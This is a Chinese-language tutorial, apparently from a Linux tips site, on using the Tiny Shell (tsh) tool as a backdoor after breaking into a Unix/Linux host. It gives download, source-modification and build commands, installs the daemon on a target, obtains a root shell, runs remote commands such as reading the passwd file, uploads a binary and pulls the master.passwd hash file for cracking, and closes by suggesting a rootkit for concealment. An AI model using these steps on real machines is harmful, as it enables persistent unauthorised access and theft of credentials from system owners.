


Unix/Linux系統(tǒng)下輕量級(jí)Shell工具
隨著互聯(lián)網(wǎng)的發(fā)展,使用Unix/Linux系統(tǒng)的越來(lái)越多,而入侵一臺(tái)Unix/Linux系統(tǒng)也不再是什么難事了。通常,在入侵成功之后,都會(huì)留一個(gè)或幾個(gè)后門(mén),以便再次進(jìn)入;對(duì)于Unix/Linux系統(tǒng),后門(mén)的種類(lèi)比較多,初級(jí)的有修改“.rhosts”文件,復(fù)制一個(gè)Shell到一個(gè)隱藏目錄,修改etc/passwd文件加用戶(hù)等手段。較高級(jí)的莫屬使用內(nèi)核模塊后門(mén)(Rootkit)了,它是Unix/Linux系統(tǒng)下最高級(jí)別的后門(mén),也許最具有隱蔽性的,但今天我并不說(shuō)Rootkit,因?yàn)樗氖褂眠^(guò)于復(fù)雜,對(duì)沒(méi)有Unix/Linux系統(tǒng)使用經(jīng)驗(yàn)的人來(lái)說(shuō),更是難以駕御。而Tiny Shell作為一款運(yùn)行于Unix/Linux系統(tǒng)下的輕量級(jí)Shell工具,不僅小巧,還支持另外一些不錯(cuò)的功能,具體請(qǐng)看下文。
二,應(yīng)用
1,Tiny Shell簡(jiǎn)介
Tiny Shell是一款輕量級(jí)的標(biāo)準(zhǔn)遠(yuǎn)程Shell工具,可以提供遠(yuǎn)程執(zhí)行命令(包括:Rlogin,Telnet,Ssh等)和文件傳輸功能(上傳、下載),支持單字節(jié),完全支持Pseudo-Terminal Pairs(pty/tty)等偽終端。并使用強(qiáng)大的160-bit RC4加密,以躲避嗅探器的檢測(cè)具備AES-128 + HMAC-SHA1的強(qiáng)大加密和認(rèn)證。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統(tǒng)。
2,Tiny Shell應(yīng)用
測(cè)試環(huán)境:
本地:OpenBSD 3.4 IP:192.168.0.40
目標(biāo):FreeBSD 4.9 STABLE IP:192.168.0.20
首先下載Tiny Shell,解壓縮后修改源代碼,以求該工具更能符合我們的要求。
#fetch http://www.ringz.org/tsh-0.6.tgz
#tar zxvf tsh-0.6.tgz
#cd tsh-0.6
#ls
ChangeLog README aes.h pel.h sha1.h tsh.h
Makefile aes.c pel.c sha1.c tsh.c tshd.c
#vi tsh.h
char *secret = "replace with your password";
//連接后門(mén)的密碼,我修改為dahubaobao。這個(gè)后門(mén)的主程序是tsh.c,先看看下邊的源代碼
if( password == NULL )
{
/* 1st try, using the built-in secret key */
ret = pel_client_init( server, secret );
if( ret != PEL_SUCCESS )
{
close( server );
/* secret key invalid, so ask for a password */
password = getpass( "Password: " );
goto connect;
}
}
//重點(diǎn)在這里:ret = pel_client_init( server, secret );
把secret變量作為了參數(shù),也就是連接后門(mén)所需要的密碼,F(xiàn)在知道為什么修改tsh.h了吧。
#define SERVER_PORT 7586
//后門(mén)簡(jiǎn)聽(tīng)的端口,任意修改
if( argc == 5 && ! strcmp( argv[2], "get" ) )
{
action = GET_FILE;
}
if( argc == 5 && ! strcmp( argv[2], "put" ) )
{
action = PUT_FILE;
}
//該后門(mén)并沒(méi)有幫助信息,所以查看這里得知Get為下載,Put為上傳。當(dāng)然,如果你喜歡,可以自行修改。另外,如果你想該后門(mén)輸出幫助信息,可以自己添加一個(gè)Printf語(yǔ)句來(lái)輸出幫助信息。這里給出一個(gè)最簡(jiǎn)單的方法,我們?cè)诓患訁?shù)的情況下執(zhí)行./tsh的時(shí)候,會(huì)提示gethostbyname failed.,然后查看源代碼,找到fprintf( stderr, "gethostbyname failed.\n" );這句代碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的幫助信息,這樣,在執(zhí)行./tsh的時(shí)候,就會(huì)自動(dòng)輸出幫助信息了。呵呵,也算一種變相修改吧。下面開(kāi)始編譯源代碼。
#make
Please specify one of these targets:
make linux
make freebsd
make openbsd
make netbsd
make cygwin
make sunos
make irix
make hpux
make osf
#make openbsd
//根據(jù)你的系統(tǒng)做相應(yīng)的選擇,10秒鐘就編譯好了。
然后,會(huì)在當(dāng)前目錄下生成兩個(gè)可執(zhí)行文件,一個(gè)客戶(hù)端,一個(gè)服務(wù)端,分別為:tsh,tshd。現(xiàn)在將tshd復(fù)制到目標(biāo)系統(tǒng)(FreeBSD),然后執(zhí)行./tshd完成安裝。為了更清楚的表示我使用的環(huán)境,所以回到本地執(zhí)行id命令,得知該用戶(hù)的UID=1000,是普通用戶(hù);現(xiàn)在使用./tsh 192.168.0.20來(lái)接連目標(biāo)主機(jī)(為了測(cè)試方便,我就不加密碼了),好,現(xiàn)在我們獲得了一個(gè)Root權(quán)限的Shell,再使用id命令(注意,這是在目標(biāo)主機(jī)上),可以看到UID=0了,這可是Root權(quán)限哦!執(zhí)行uname ?Ca命令,回顯為FreeBSD系統(tǒng),可見(jiàn)已經(jīng)成功連接后門(mén)并登陸了。另外,該后門(mén)還可以在連接的時(shí)候插入Shell命令,語(yǔ)法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是連接192.168.0.20目標(biāo)主機(jī),接著執(zhí)行cat etc/passwd命令,這樣,目標(biāo)主機(jī)的passwd文件我們就一覽無(wú)余了。但要注意,使用這種形式并沒(méi)有登陸目標(biāo)主機(jī),只是連接目標(biāo)主機(jī),然后插入一個(gè)Shell命令而已。
現(xiàn)在我們來(lái)看看上傳、下載的使用方法。從源代碼中知道,上傳的關(guān)鍵字為Put,下載的關(guān)鍵字為Get。好,先來(lái)看看如何上傳文件,執(zhí)行“./tsh 192.168.0.20 put 文件名 目標(biāo)主機(jī)目錄”即可完成上傳,但要注意,文件要在當(dāng)前目錄下,也就是和tsh在同一個(gè)目錄下。我上傳的一個(gè)back的二進(jìn)制文件,使用./tsh 192.168.0.20 put back /,這條命令是將back文件上傳目標(biāo)根目錄,然后我再使用./tsh 192.168.0.20連接到目標(biāo)主機(jī),ls查看back是否已經(jīng)上傳到了對(duì)方主機(jī),呵呵,還不錯(cuò)吧!在來(lái)看下載文件,它的語(yǔ)法為“./tsh 192.168.0.20 get 目標(biāo)文件 本地目錄”,現(xiàn)在我們來(lái)獲得其最敏感的文件----master.passwd(影子文件,也就是Linux系統(tǒng)下的shadow文件)。執(zhí)行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標(biāo)主機(jī)的master.passwd文件到本地的/home/dahubaobao目錄,然后使用ls查看,可以看見(jiàn)已經(jīng)將對(duì)方的master.passwd下載到了本地,再vi master.passwd,哈哈,用戶(hù)的加密密碼近在眼前。提示,F(xiàn)reeBSD的用戶(hù)密碼是采用MD5加密的。
小結(jié)
Tiny Shell作為一款小型的Shell工具,絲毫不遜于其他同類(lèi)的Shell工具,而且支持大部分的Unix/Linux系統(tǒng),絕對(duì)值得一試。當(dāng)然,這款后門(mén)很不隱蔽,我們可以結(jié)合Rootkit來(lái)加固(Rootkit中也提供Shell工具,但無(wú)法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去google找答案,在此就不多說(shuō)了。
關(guān)鍵字:互聯(lián)網(wǎng)、Shell工具、遠(yuǎn)程執(zhí)行
新文章:
- CentOS7下圖形配置網(wǎng)絡(luò)的方法
- CentOS 7如何添加刪除用戶(hù)
- 如何解決centos7雙系統(tǒng)后丟失windows啟動(dòng)項(xiàng)
- CentOS單網(wǎng)卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗(yàn)證詳解
- CentOS 7.1添加刪除用戶(hù)的方法
- CentOS查找/掃描局域網(wǎng)打印機(jī)IP講解
- CentOS7使用hostapd實(shí)現(xiàn)無(wú)AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網(wǎng)絡(luò)重啟出錯(cuò)
- 解決Centos7雙系統(tǒng)后丟失windows啟動(dòng)項(xiàng)
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統(tǒng)有什么不同呢
- Centos 6.6默認(rèn)iptable規(guī)則詳解